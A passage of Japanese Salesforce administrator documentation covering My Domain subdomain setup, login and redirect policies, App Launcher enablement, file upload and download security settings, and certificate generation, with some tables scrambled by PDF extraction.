ン」と入力し、[私のドメイン] を選択します。[ユーザにリリース] および [OK] をクリックします。
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ドメインはリリース直後に有効になり、新しいドメインアドレスのページにすべてのユーザがリダイレクトさ
れます。ドメインをリリースした後に表示される [ドメインの設定] セクションでログインポリシーを設定でき
ます。たとえば、ユーザが login.salesforce.com からログインできないように設定できます。

関連トピック:

ドメイン名の設定
[私のドメイン] を実装するためのガイドラインとベストプラクティス
ブランドを使用したログインページのカスタマイズ
ログインページへの ID プロバイダの追加
[私のドメイン] のログインポリシーの設定

[私のドメイン] の URL の変更

エディション

使用可能なインター
フェース: Salesforce Classic
と Lightning Experience の
両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Enterprise Edition、
Developer Edition、
Professional Edition、およ
び Group Edition

[私のドメイン] で組織のサブドメイン名を設定すると、Visualforceページを含め、
すべてのアプリケーション URL も変更されます。ドメイン名をリリースする前
に、すべてのアプリケーション URL を更新していることを確認します。たとえ
ば、Chatter アンサーの [メール通知 URL] 項目を更新しないと、古い URL で通知
を内部ユーザに送信し続けます。次の表に変更内容を示します。

新しい URL古い URLURL の種類

https://<subdomain>.my.
salesforce.com

https://login.salesforce.comログイン

https://<subdomain>.my.
salesforce.com/<pageID>

https://yourInstance.salesforce.com/<pageID>アプリケー
ションペー
ジまたはタ
ブ

https://<subdomain>--c.
visual.force.com/apex
/<pagename>

https://c.visual.force.com/apex/<pagename>名前空間を
含まない
Visualforce

ページ
https://<subdomain>--
<yournamespace>.

https://<yournamespace101>.
visual.force.com
/apex/<pagename>

名前空間を
含む
Visualforce

ページ
visual.force.com/apex/
<pagename>

メモ:  Sandbox 環境で [私のドメイン] を実装すると、URL 形式は
https://<subdomain>--<sandboxname>.<instance>.my.salesforce.comになります。Sandbox 環
境では名前空間を使用できないため、Sandbox のすべての Visualforce ページの URL の形式は
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https://<subdomain>--<sandboxname>.<instance>.my.salesforce.com/apex/<pagename> で
す。

関連トピック:

私のドメイン
[私のドメイン] を実装するためのガイドラインとベストプラクティス

[私のドメイン] のログインポリシーの設定

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Enterprise Edition、
Developer Edition、
Professional Edition、およ
び Group Edition

ユーザ権限

ドメインのログインポリ
シーを設定する
• 「アプリケーションの

カスタマイズ」

ドメインのログインポリシーをカスタマイズして、ユーザログインを管理しま
す。デフォルトでは、ユーザはドメイン固有のログインページをスキップして、
一般的な Salesforce ログインページからログインできます。ログインポリシーを
設定しない場合、ドメイン名を使用せずにページ要求を行うことができます (以
前のブックマークを使用する場合など)。
1. [設定] から、[クイック検索] ボックスに「私のドメイン」と入力し、[私のド

メイン] を選択します。
2. [私のドメインの設定] で、[編集] をクリックします。
3. ドメイン固有のログインページを使用しないユーザの認証を無効にするに

は、ログインポリシーを設定します。ログインポリシーを選択することで、
一般的な https://<instance>.salesforce.com/ログインページでユー
ザがログインしたり、ログイン後にページにリダイレクトされたりすること
を回避できます。

4. リダイレクトポリシーを選択します。
a. ドメイン名を含まない URL を引き続き使用することをユーザに許可するに

は、[ドメイン内の同じページにリダイレクト] を選択します。

メモ: パートナーポータルに [ドメイン内の同じページにリダイレク
ト] オプションが選択されている場合はブックマークが機能しませ
ん。既存のブックマークを手動で変更し、Salesforce インスタンス名
をカスタムドメイン名に置き換えることによって、新しいドメイン
URL を参照するようにします。たとえば、ブックマークの URL にある
https://na30.salesforce.com/ を
https://yourDomain.my.salesforce.com/ に置き換えます。

b. ドメイン名を使用するようにユーザに要求するには、[ドメイン内の同じページに警告付きでリダイレ
クト] を選択します。ユーザは、警告を読んだ後ページにリダイレクトされます。このオプションを数
日間または数週間に設定しておくことで、ユーザは新しいドメイン名に移行しやすくなります。

c. ページを表示するときにドメイン名を使用するようにユーザに要求するには、[未リダイレクト]を選択
します。
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5. [保存] をクリックします。

関連トピック:

ドメイン名の設定
[私のドメイン] を実装するためのガイドラインとベストプラクティス

ブランドを使用したログインページのカスタマイズ

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Enterprise Edition、
Developer Edition、
Professional Edition、およ
び Group Edition

ユーザ権限

ログインページをカスタ
マイズする
• 「アプリケーションの

カスタマイズ」

背景色、ロゴ、および右側のコンテンツを追加して、ログインページの外観を
カスタマイズします。自社のブランド設定でログインページをカスタマイズす
ると、ユーザがページを見分けやすくなります。
1. [設定] から、[クイック検索] ボックスに「私のドメイン」と入力し、[私のド

メイン] を選択します。
2. [認証設定] で [編集] をクリックします。
3. ロゴをカスタマイズするには、画像をアップロードします。

画像には、最大 100 KB の .jpg、.gif、または .png ファイルを使用できます。最
大サイズは 250px × 125px です。

4. ログインページの背景をカスタマイズするには、 をクリックするか、有
効な 16 進数の色コードを入力します。

5. iOS ユーザのために高度な認証方式をサポートするには、[iOS でのユーザ認証
にネイティブブラウザを使用] を選択します。
この iOS ユーザ認証オプションは、iOS デバイスの Salesforce1 および Mobile SDK

アプリケーションのユーザ用です。Kerberos、Windows NT LAN Manager (NTLM)、
証明書ベースの認証などの認証方式がサポートされます。このオプションを
選択すると、iOS デバイスのユーザは、カスタムドメインへのシングルサイ
ンオン認証を使用するときにネイティブブラウザにリダイレクトされます。
他のオペレーティングシステムの場合、Salesforce1 や、Mobile SDK バージョン 3.1 以降を使用しているアプリ
ケーションがモバイルデバイス管理 (MDM) ソフトウェアと統合されていれば、これらのアプリケーション
で証明書ベースの認証を使用できます。

6. ログインページの右側の iFrame に入れるファイルの URL を入力します。
右側の iFrame のコンテンツは、ページの約半分を占めるようにサイズ変更できます。SSL 暗号化と https:// 接
頭辞を使用する URL にコンテンツをホストする必要があります。反応型 Web 設計を使用して右側の iFrame

に独自のカスタムコンテンツページを作成するには、私のドメインサンプルテンプレートを使用します。
例: https://c.salesforce.com/login-messages/promos.html

7. 必要に応じて、ログインページの ID プロバイダとして認証サービスを選択します (Google や Facebook のよう
なソーシャルサインオンプロバイダなど)。これにより、ユーザはソーシャルアカウントのログイン情報を
使用してログインできるようになります。認証サービスを [設定] の [認証プロバイダ] として設定します。
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8. [保存] をクリックします。

関連トピック:

ドメイン名の設定
ログインページへの ID プロバイダの追加
[私のドメイン] のログインポリシーの設定
外部認証プロバイダ

ログインページへの ID プロバイダの追加

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Enterprise Edition、
Developer Edition、
Professional Edition、およ
び Group Edition

ユーザ権限

ログインページに ID プロ
バイダを追加する
• 「アプリケーションの

カスタマイズ」

ユーザが代替 ID プロバイダオプションを使用してログインページから直接認証
できるようにします。シングルサインオンを有効にして SAML を設定している
か、[設定] で [認証プロバイダ] として外部認証プロバイダを設定している場合、
ドメインのログインページでそれらの ID プロバイダへのリンクを提供できます。
ユーザは ID プロバイダのログイン画面に送られて認証された後、Salesforce にリ
ダイレクトして戻されます。

メモ:  Janrain を除き、SAML シングルサインオン ID プロバイダまたは外部認
証プロバイダとして設定されているすべてのプロバイダを認証サービスと
して使用できます。Janrain を使用して、ログインページから認証すること
はできません。

1. [設定] から、[クイック検索] ボックスに「私のドメイン」と入力し、[私のド
メイン] を選択します。

2. [認証設定] で [編集] をクリックします。
3. ID プロバイダとして、1 つ以上の設定済み認証サービスを選択します。
4. [保存] をクリックします。

関連トピック:

ドメイン名の設定
ブランドを使用したログインページのカスタマイズ
[私のドメイン] のログインポリシーの設定
外部認証プロバイダ
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[私のドメイン] を使用したシステムパフォーマンス情報とメンテナンス情報の
取得

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Enterprise Edition、
Developer Edition、
Professional Edition、およ
び Group Edition

ユーザ権限

ドメイン名を設定する
• 「アプリケーションの

カスタマイズ」

システムのパフォーマンスと可用性に関する情報は trust.salesforce.com

から取得できます。Trust により、組織インスタンスに基づいて状況の情報がレ
ポートされます。[私のドメイン] を使用していて、組織インスタンスが分からな
い場合は、調べることができます。
ドメイン名を使用して状況の情報を取得する方法は、次のとおりです。
1. trust.salesforce.com に移動します。
2. [システムの状況] で、[詳細はこちら] をクリックします。
3. status.salesforce.com で [状況] をクリックします。

[状況とメンテナンス] ページに、組織インスタンスごとの状況が表示されま
す。

4. ページの右上で、[私のドメイン] をクリックします。
5. ドメイン名を検索バーに入力し、組織インスタンスを取得します。

URL 全体を入力しないでください。たとえば、yourDomain を使用し、
https://yourDomain.my.salesforce.com/ は使用しません。

6. [状況とメンテナンス] で [すべて] を選択し、インスタンスを探します。

関連トピック:

私のドメイン

FAQ - 私のドメイン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Performance Edition、
Unlimited Edition、
Enterprise Edition、
Developer Edition、および
Database.com Edition 一部
のトピックは
Database.comには適用さ
れません。

[私のドメイン] とは?

Salesforce システム管理者は、[私のドメイン] を使用して、サブドメインを
Salesforce 組織内に定義できます。サブドメイン名は、すべての組織の URL に
表示され、インスタンス名 (na30 など) に置き換わります。たとえば、サブド
メインに会社名を付けて https://myCompanyName.my.salesforce.com/

にすると、URL をブランド設定できます。[私のドメイン] は、サイト、コミュ
ニティ、またはポータルのカスタムドメインと同じではありません。これら
のドメインは個別に定義されます。
私のドメインを使用できる Salesforce Edition は?

[私のドメイン] の利点は?

[私のドメイン] でサブドメインを作成し、ユーザが組織にシングルサインオ
ンできるようにします。ログインページをカスタマイズして、Salesforce を ID

プロバイダとして使用することもできます。
[私のドメイン] の機能は Salesforce Edition によって異なるのですか?

[私のドメイン] は Sandbox でも機能しますか?
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リダイレクトポリシーの各オプションの違いとは?

[私のドメイン] はシングルサインオンでどのように機能しますか?

[私のドメイン] は API にも使用できますか?

私のドメインのサブドメインはサイトまたはコミュニティのサブドメインと関連していますか?

サブドメイン名の長さは?

私のドメインを設定した後も、https://login.salesforce.com からログインできますか?

https://yourInstance.salesforce.com/ のように Salesforce インスタンスを含む URL からもログインできますか?

以前の Salesforce ブックマークをそのまま使用できますか?

Visualforce およびコンテンツ (ファイル) ページの URL に変更はありますか?

サブドメイン名の変更や削除はできますか?

[私のドメイン] とは?

Salesforce システム管理者は、[私のドメイン] を使用して、サブドメインを Salesforce 組織内に定義できます。サ
ブドメイン名は、すべての組織の URL に表示され、インスタンス名 (na30 など) に置き換わります。たとえば、
サブドメインに会社名を付けて https://myCompanyName.my.salesforce.com/にすると、URL をブランド
設定できます。[私のドメイン] は、サイト、コミュニティ、またはポータルのカスタムドメインと同じではあ
りません。これらのドメインは個別に定義されます。

私のドメインを使用できる Salesforce Edition は?

Performance Edition、Unlimited Edition、Enterprise Edition、Developer Edition、Professional Edition、および Group Edition で
す。

[私のドメイン] の利点は?

[私のドメイン] でサブドメインを作成し、ユーザが組織にシングルサインオンできるようにします。ログイン
ページをカスタマイズして、Salesforce を ID プロバイダとして使用することもできます。
[私のドメイン] を使用して次のことを実行できます。
• 独自のブランドを使用してログインページをカスタマイズする。
• Identity 機能を使用してシングルサインオンを行う。[私のドメイン] は、次の場合に必要になります。

– ユーザが Salesforce 組織にシングルサインオンできるようにする。
– サードパーティアプリケーションまたは他の Salesforce 組織にシングルサインオンするための ID プロバ

イダとして Salesforce 組織を使用する。
• 今後、組織の分割や移行を行っても、ディープリンク (https://yourDomain.my.salesforce.com//001/o

など) を保持する。

[私のドメイン] の機能は Salesforce Edition によって異なるのですか?

[私のドメイン] は、Developer Edition URL を除いて、ほとんどのSalesforceエディションで同じように動作します。
Developer Edition URL は、https://yourDomain.de-ed.my.salesforce.comのように「-de-ed.my.salesforce.com」
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で終わります。その他のエディションの URL は、https://yourDomain.my.salesforce.com のように
「.my.salesforce.com」で終わります。

[私のドメイン] は Sandbox でも機能しますか?

Sandboxと本番組織は異なる環境であり、個別のドメイン名レジストリが保持されています。そのため、Sandbox

では、同じ [私のドメイン] の名前を使用できます。実際には、Sandboxの更新中に、本番組織の [私のドメイン]

の名前が Sandbox にコピーされます。
たとえば、本番組織の名前が acme.my.saleforce.com である場合、Sandbox の名前は
acme--<sandboxName>.csN.my.salesforce.com になります。
サブドメインを Sandboxでテストしてからリリースしてください。Visualforceページ、メールテンプレート、そ
の他のコンテンツのインスタンス URL にハードコード化された参照を確認します。

リダイレクトポリシーの各オプションの違いとは?

[私のドメイン] でサブドメインをリリースしたら、ユーザがそのサブドメイン名を使用することなく組織の
ページにアクセスするためのリダイレクトオプションを選択できます。
割り当てられたポリシーを確認するには、[設定] から [クイック検索]ボックスに「私のドメイン」と入力し、
[私のドメイン] を選択します。
[ドメイン内の同じページにリダイレクト]が選択されている場合、ユーザは通知されることなくすぐに新しい
URL に送信されます。
[ドメイン内の同じページに警告付きでリダイレクト]が選択されている場合、一時的に警告メッセージが表示
された後、ユーザは新しい URL にリダイレクトされます。この警告により、ユーザは、ブックマークを変更す
る機会が与えられ、新しいサブドメイン URL を使用することに慣れることができます。メッセージはカスタマ
イズできません。
[未リダイレクト]を選択すると、「ページがみつかりません」というエラーがユーザに表示されます。最終的
にはユーザにサブドメイン URL のみを使用してもらいますが、サブドメインのリリース直後は、ユーザが新し
い URL に慣れるように [ドメイン内の同じページに警告付きでリダイレクト]を使用することをお勧めします。

[私のドメイン] はシングルサインオンでどのように機能しますか?

[私のドメイン] は、シングルサインオンの設定で必要になります。インバウンドシングルサインオン要求で
は、サブドメインを使用して、組織のページに直接ディープリンクできます。ID プロバイダを変更する必要は
ありません。組織で [私のドメイン] をリリースし、[私のドメインの設定] で [https://login.salesforce.com からロ
グインできないようにする]を選択している場合でも、Salesforce SAML エンドポイント (login.salesforce.com)

は、引き続き SAML および OAUTH 要求で機能します。

メモ: 従業員用のシングルサインオンと共に外部Chatterグループを使用している場合、社外のユーザは、
アクセスできない SAML ID プロバイダにリダイレクトされます。シングルサインオンを動作させるには、
外部 Chatter グループをコミュニティに移行します。または [私のドメイン] 設定から
[https://login.salesforce.com からログインできないようにする] の選択を解除します。これによ
り、ユーザは引き続き login.salesforce.com を介してログインできます。
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[私のドメイン] は API にも使用できますか?

はい。Salesforce API で [私のドメイン] サブドメインを使用できます。

私のドメインのサブドメインはサイトまたはコミュニティのサブドメインと関連していま
すか?

いいえ。サイトと私のドメインに使用するサブドメイン名は、同じでも違っていてもかまいません。サイトと
Salesforce コミュニティはカスタムドメインと呼び、[私のドメイン] はサブドメインと呼びます。

サブドメイン名の長さは?

サブドメイン名の文字数は、最大 40 文字です。この制限にプロトコル (https://) とドメイン
(my.salesforce.com) は含まれません。

私のドメインを設定した後も、https://login.salesforce.com からログインできますか?

システム管理者が禁止していなければ可能です。禁止されている場合は、新しい私のドメイン URL を使用して
ログインする必要があります。

https://yourInstance.salesforce.com/ のように Salesforce インスタンスを含む URL から
もログインできますか?

システム管理者が禁止していなければ可能です。禁止されている場合は、新しい私のドメイン URL を使用して
ログインする必要があります。

以前の Salesforce ブックマークをそのまま使用できますか?

システム管理者が許可していれば可能です。許可されている場合、新しい私のドメイン URL を使用してSalesforce

ページにリダイレクトされます。システム管理者が以前のブックマークを使用することを禁止している場合、
または警告が表示された場合、新しいドメイン名を使用してブックマークを更新する必要があります。

Visualforce およびコンテンツ (ファイル) ページの URL に変更はありますか?

Visualforceページの URL には新しいドメイン名 (例: https://<mydomain>--c.<instance>.visual.force.com)

が含まれます。
コンテンツ (ファイル) の URL にも新しいドメイン名 (例:

https://<mydomain>--c.<instance>.content.force.com) が含まれます。

サブドメイン名の変更や削除はできますか?

[私のドメイン] で作成したサブドメイン名は変更できません。サブドメインのリリース後に、リリースを元に
戻すことはできません。サブドメイン名を変更する必要がある場合は、Salesforceカスタマーサポートにご連絡
ください。
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アプリケーションランチャー
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

アプリケーションランチャーは、ユーザがアプリケーション間を切り替える方
法です。ユーザの接続アプリケーション、Salesforce アプリケーション、および
オンプレミス型アプリケーションにリンクされたタイルが表示されます。Salesforce

システム管理者は、組織のデフォルトのアプリケーションの順序を設定し、ど
のユーザがどのアプリケーションを使用できるかを決定できます。ユーザが初
めて Salesforce を開くときに、アプリケーションランチャーをデフォルトのラン
ディングページに設定できます。
すべての Lightning Experience ユーザは、アプリケーションランチャーを使用でき
ます。Salesforce Classicユーザには「Identity 機能を使用」権限が必要であり、ユー
ザプロファイルの [アプリケーションランチャー] オプションが [参照可能] に設
定されている必要があります。ユーザに表示されるのは、プロファイルや権限
セットに従って表示が許可されるアプリケーションのみです。
Salesforce Classic では、システム管理者プロファイルを持つ Salesforce システム管理者には、アプリケーションラ
ンチャーへのアクセス権が付与されます。システム管理者プロファイルからコピーされたプロファイルを使用
するシステム管理者には、アクセス権は付与されません。

Salesforce Classic でのプロファイルを使用したアプリケーションランチャーの有効化
アプリケーションランチャーにアクセスできるようにプロファイルを作成してユーザに割り当てます。
Salesforce Classic での権限セットを使用したアプリケーションランチャーの有効化
アプリケーションランチャーにアクセスできるように権限セットを作成してユーザに割り当てます。

関連トピック:

他の Salesforce アプリケーションへのアクセス
アプリケーションのデフォルトの並び替え順の設定
接続アプリケーション
salesforce_identity_implementation_guide.pdf

Salesforce Classic でのプロファイルを使用したアプリケーションランチャーの
有効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

アプリケーションランチャーにアクセスできるようにプロファイルを作成して
ユーザに割り当てます。

メモ: 次の手順は、Salesforce Classic で動作します。Lightning Experience では、
画面上部のナビゲーションバーの左側に [アプリケーションランチャー] ア
イコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示され
ません。

Salesforce Classicでは、システム管理者プロファイルを持つ Salesforceシステム管理
者には、アプリケーションランチャーへのアクセス権が付与されます。システ
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ム管理者プロファイルからコピーされたプロファイルを使用するシステム管理者には、アクセス権は付与され
ません。
1. [設定] から、[クイック検索] ボックスに「プロファイル」と入力し、[プロファイル] を選択します。
2. [新規プロファイル] をクリックします。
3. 新規プロファイルのベースとして既存のプロファイルを選択します。

たとえば、[標準ユーザ] を選択します。
4. 新規プロファイルの名前を入力します。

たとえば、「Standard User Identity」  (標準ユーザ ID) と入力します。
5. [保存] をクリックします。
6. 新規プロファイルの詳細ページで、[編集] をクリックします。
7. [カスタムアプリケーション設定] で、[アプリケーションランチャー] を [参照可能] に設定します (まだ設定

していない場合)。
[タブの設定] で、[アプリケーションランチャー] タブが [デフォルトで表示] に設定されていることを確認
します。

8. [システム管理者権限] の下で、[Identity 機能を使用] を選択します。
9. [保存] をクリックします。
10. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選択します。
11. アプリケーションランチャーにアクセスする各ユーザの横にある [編集] をクリックします。
12. ユーザの [プロファイル] 項目で、[Identity 機能を使用] が有効になっている新規プロファイルを選択します。

たとえば、[Standard User Identity (標準ユーザ ID)] プロファイルを使用できます。
13. [保存] をクリックします。

選択したユーザとしてログインすると、アプリケーションランチャーがドロップダウンアプリケーション
メニューに表示されます。

関連トピック:

アプリケーションランチャー
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Salesforce Classic での権限セットを使用したアプリケーションランチャーの有
効化

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

アプリケーションランチャーにアクセスできるように権限セットを作成してユー
ザに割り当てます。

メモ: 次の手順は、Salesforce Classic で動作します。Lightning Experience では、
画面上部のナビゲーションバーの左側に [アプリケーションランチャー] ア
イコン ( ) が表示されます。Salesforce Classicでは、このアイコンは表示され
ません。

1. [設定] から、[クイック検索] ボックスに「権限セット」と入力し、[権限セッ
ト] を選択します。

2. [新規] をクリックします。
3. 新しい権限セットの表示ラベルを入力します。

たとえば、「Identity Features」  (ID 機能) と入力します。
4. 必要に応じて、この権限セットの使用を特定のユーザライセンスに制限します。
5. [保存] をクリックします。
6. [システム権限] をクリックします。
7. [編集] をクリックします。
8. [Identity 機能を使用] を選択します。
9. [保存] をクリックします。
10. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ] を選択します。
11. アプリケーションランチャーへのアクセス権を付与する既存のユーザの名前をクリックします。
12. [権限セットの割り当て] 関連リストで、[割り当ての編集] をクリックします。
13. Identity 機能に対して作成した新しい権限セットを [有効化された権限セット] に追加します。
14. [保存] をクリックします。

選択したユーザとしてログインすると、アプリケーションランチャーがドロップダウンアプリケーション
メニューに表示されます。

メモ: アプリケーションランチャーが表示されない場合は、ユーザに関連付けられたプロファイルで、
アプリケーションランチャー設定の [参照可能] を選択します。

関連トピック:

アプリケーションランチャー
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[ファイルのアップロードおよびダウンロードセキュリティ] の設定
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

ユーザ権限

ファイルのアップロード
およびダウンロードを設
定する
• 「アプリケーションの

カスタマイズ」

セキュリティを強化するには、アップロードおよびダウンロード中の数種類の
ファイルの処理方法を制御します。
ファイルのアップロードおよびダウンロード設定を管理する手順は、次のとお
りです。
1. [設定] から、[クイック検索]ボックスに「ファイルのアップロードおよびダウ

ンロードセキュリティ」と入力し、[ファイルのアップロードおよびダウンロー
ドセキュリティ] を選択します。

2. [編集] をクリックします。
3. セキュリティリスクが生じる可能性のあるファイルをユーザがアップロード

できないようにするには、[HTML で添付ファイルまたはドキュメントレコー
ドとしてアップロードすることを許可しない] を選択します。
この設定により、MIME のファイルの種類
(.html、.htt、.mht、.svg、.swf、.thtml、.xhtml) のアップロードが
ブロックされます。

警告: このオプションを選択する場合、次の点に注意してください。
• 組織でパートナーポータルを使用してパートナーユーザにSalesforceへのアクセス権を与える場合、

この設定を有効にすることはお勧めしません。この設定を有効にすると、組織でパートナーポータ
ルの外観をカスタマイズできなくなります。

• このセキュリティ設定が有効かどうかに関係なく、ソリューションでは、HTML 添付ファイルが許
可されていません。さらに、この設定はメールテンプレートの添付ファイルに影響しません。メー
ルテンプレートの HTML 添付ファイルは常に許可されています。

• この設定を有効にした後は、以前にアップロードした HTML ドキュメントと添付ファイルが影響を
受けません。ただし、ユーザが HTML 添付ファイルまたはドキュメントを表示しようとすると、ブ
ラウザがまず、ブラウザでファイルを開くか、コンピュータに保存するか、またはアクションを
キャンセルするように要求します。

4. ファイルの種類ごとにダウンロード動作を設定します。
a. ダウンロード (推奨) — ファイルの種類に関係なく、ファイルは常にダウンロードされます。
b. ブラウザで実行 — ブラウザや HTTP 要求でアクセスした場合、種類に関係なくファイルが自動的に表示

され、実行されます。
c. ハイブリッド — Salesforce Filesがダウンロードされます。添付ファイルとドキュメントはブラウザで実行

されます。

5. [保存] をクリックします。
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証明書と鍵
エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

証明書を作成、編集、管
理する
• 「アプリケーションの

カスタマイズ」

Salesforce 証明書と鍵のペアは、要求がユーザの組織からのものであることを確
認する署名として使用されます。証明書と鍵は、外部 Web サイトとの認証済み
SSL 通信で使用されるか、組織を ID プロバイダとして使用するときに使用されま
す。使用している外部 Web サイトで要求が Salesforce 組織から行われていること
を確認する必要がある場合は、Salesforce証明書と鍵のペアの生成のみ必要です。
すべての証明書と非公開鍵をキーストアにエクスポートして保存したり、キー
ストアから証明書と鍵をインポートしたりできます。これにより、鍵を組織間
で移動できます。エクスポートされたファイルは Java Keystore (JKS) 形式になり、
インポートされたファイルも JKS 形式になります。JKS 形式についての詳細は、
「Oracle の Java KeyStore に関するドキュメント」を参照してください。

API クライアント証明書
API クライアント証明書は、ワークフローアウトバウンドメッセージ、AJAX プロ
キシ、および代理認証 HTTPS コールアウトで使用されます。セキュリティ上の理
由で、API クライアント証明書は組織でのみ認識される必要があります。
接続先のリモートエンドポイントに基づいて API クライアント証明書を選択します。認証機関によって信頼さ
れた証明書チェーンを要求するエンドポイントサーバもありますが、それ以外のサーバでは自己署名証明書を
問題なく直接信頼します。

自己署名証明書の生成
Salesforce によって署名された証明書を生成して、組織から発信されていると称する通信が本当に組織から
発信されていることを示します。
認証機関によって署名された証明書の生成
認証機関の署名済み (CA 署名) 証明書は、組織のデータ通信が本物であることを証明する、より信頼性の高
い方法です。この種類の証明書を生成して Salesforce にアップロードできます。
相互認証証明書の設定
単純な偽装によってセキュリティが侵害されるのを防止するために、クライアントとサーバに相互認証証
明書を使用して互いの ID を証明するように要求することができます。
相互認証を使用するための API クライアントの設定
SSL/TLS 相互認証を適用します。
主暗号化鍵の管理
[社会保障番号]や [クレジットカード番号]など暗号化カスタム項目は、主暗号化鍵を使用して暗号化され
ます。暗号化する項目を選択すると、自動的にこの鍵が割り当てられます。組織のセキュリティの必要性
および規制要件に基づいて独自の主鍵を管理します。
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自己署名証明書の生成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

証明書を作成、編集、管
理する
• 「アプリケーションの

カスタマイズ」

Salesforce によって署名された証明書を生成して、組織から発信されていると称
する通信が本当に組織から発信されていることを示します。
1. [設定] から、[クイック検索]ボックスに「証明書と鍵の管理」と入力します。
2. [自己署名証明書の作成] を選択します。
3. Salesforce 証明書の表示ラベルを入力します。

この名前は、証明書の表示時、主に管理者によって使用されます。
4. 一意の名前を入力します。入力した証明書ラベルに基づいて自動的に入力さ

れた名前を使用できます。
この名前は、アンダースコアと英数字のみを使用でき、組織内で一意にする
必要があります。最初は文字であること、空白は使用しない、最後にアン
ダースコアを使用しない、2 つ続けてアンダースコアを使用しないという制
約があります。Force.com Web サービス API または Apex を使用して証明書を参
照する場合、一意の名前を使用します。

5. 生成される証明書の鍵サイズを選択します。
2048 ビット鍵を持つ証明書の有効期限は 1 年間で、4096 ビット鍵を持つ証明書よりも短くなります。4096

ビット鍵を持つ証明書は 2 年間有効です。

メモ: Salesforce 証明書を保存した後で、種類や鍵サイズを変更することはできません。

6. [保存] をクリックします。
ダウンロードされた自己署名証明書の拡張子は .crt です。
正常に Salesforce 証明書を保存した後、証明書と該当する鍵が自動的に生成されます。

証明書は最大 50 個まで保持できます。

関連トピック:

証明書と鍵
認証機関によって署名された証明書の生成
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認証機関によって署名された証明書の生成

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
すべてのエディション

ユーザ権限

証明書を作成、編集、管
理する
• 「アプリケーションの

カスタマイズ」

認証機関の署名済み (CA 署名) 証明書は、組織のデータ通信が本物であることを
証明する、より信頼性の高い方法です。この種類の証明書を生成して Salesforce

にアップロードできます。
1. [設定] から、[クイック検索]ボックスに「証明書と鍵の管理」と入力します。
2. [認証機関署名証明書の作成] を選択します。
3. Salesforce 証明書の表示ラベルを入力します。

この名前は、証明書の表示時、主に管理者によって使用されます。
4. [一意の名前]を入力します。入力した証明書ラベルに基づいて自動的に入力

された名前をそのまま受け入れることができます。
この名前は、アンダースコアと英数字のみを使用でき、組織内で一意にする
必要があります。最初は文字であること、空白は使用しない、最後にアン
ダースコアを使用しない、2 つ続けてアンダースコアを使用しないという制
約があります。Force.com Web サービス API または Apex を使用して証明書を参
照する場合、[一意の名前] を使用します。

5. 証明書と鍵の [鍵サイズ] を選択します。
セキュリティ上の理由により、デフォルトの鍵のサイズに 2048を指定することをお勧めします。2048を
選択すると、2048 ビットの鍵を使用した証明書が生成され、2 年間有効です。1024 を選択すると、1024

ビットの鍵を使用した証明書が生成され、1 年間有効です。

メモ: Salesforce 証明書を保存した後で、種類や鍵のサイズを変更することはできません。

6. 次の情報を入力します。
これらの項目が結合され、一意の証明書を生成します。

説明項目

署名付き証明書を要求する会社の完全修飾ドメイン名。通常の形式は
http://www.mycompany.com です。

一般名

証明書に関連付けられているメールアドレス。メールアドレス

会社の正式名称または登記名。会社

マーケティングや経理など、証明書を使用する会社の部署。部署

会社のある市区郡。市区郡

会社のある都道府県。都道府県

会社が所在する国を示す 2 文字のコード。アメリカの場合、値は US です。国コード

7. [保存] をクリックします。
Salesforce 証明書を保存した後で、証明書と対応する鍵が自動的に生成されます。
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8. 証明書リストから新しい証明書を見つけ、[証明書署名要求のダウンロード] をクリックします。
ダウンロードされた証明書署名要求の拡張子は .csr です。

9. 選択した認証機関の証明書要求を送信します。
10. 認証機関から署名済み証明書が返送されたら、[証明書と鍵の管理]に戻り、証明書の名前をクリックして、

[署名済み証明書のアップロード] をクリックします。
CA 署名証明書は、Salesforce で作成されたものと一致する必要があります。別の認証機関署名証明書をアッ
プロードしようとすると、アップロードは失敗します。

11. [保存] をクリックしてアップロードプロセスを終了します。
CA 署名証明書をアップロードした後、証明書の状況が [有効] となり、証明書を使用できます。

ヒント: アップロードした証明書に変更が必要な場合は、再アップロードするだけです。新しい鍵と証明
書を使用して最初からやり直す必要はありません。1 つ以上のForce.comサイトまたはコミュニティがある
場合、再度アップロードすると、公開されたサイトドメインが自動的に再公開されます。証明書レコー
ドの有効期限が、新しくアップロードされた証明書の有効期限に更新されます。

証明書は最大 50 個まで保持できます。

相互認証証明書の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Personal Edition、Unlimited
Edition、Developer
Edition、および
Database.com Edition

ユーザ権限

証明書を作成、編集、管
理する
• 「アプリケーションの

カスタマイズ」

単純な偽装によってセキュリティが侵害されるのを防止するために、クライア
ントとサーバに相互認証証明書を使用して互いの ID を証明するように要求する
ことができます。
1. [証明書と鍵の管理] ページで、[相互認証証明書のアップロード] をクリック

します。

メモ:  [証明書と鍵の管理] ページにこのオプションが表示されない場合
は、Salesforce に連絡してこの機能を有効にするように依頼してくださ
い。

2. 証明書の表示ラベルと名前を設定し、[ファイルを選択] をクリックして証明
書を探します。

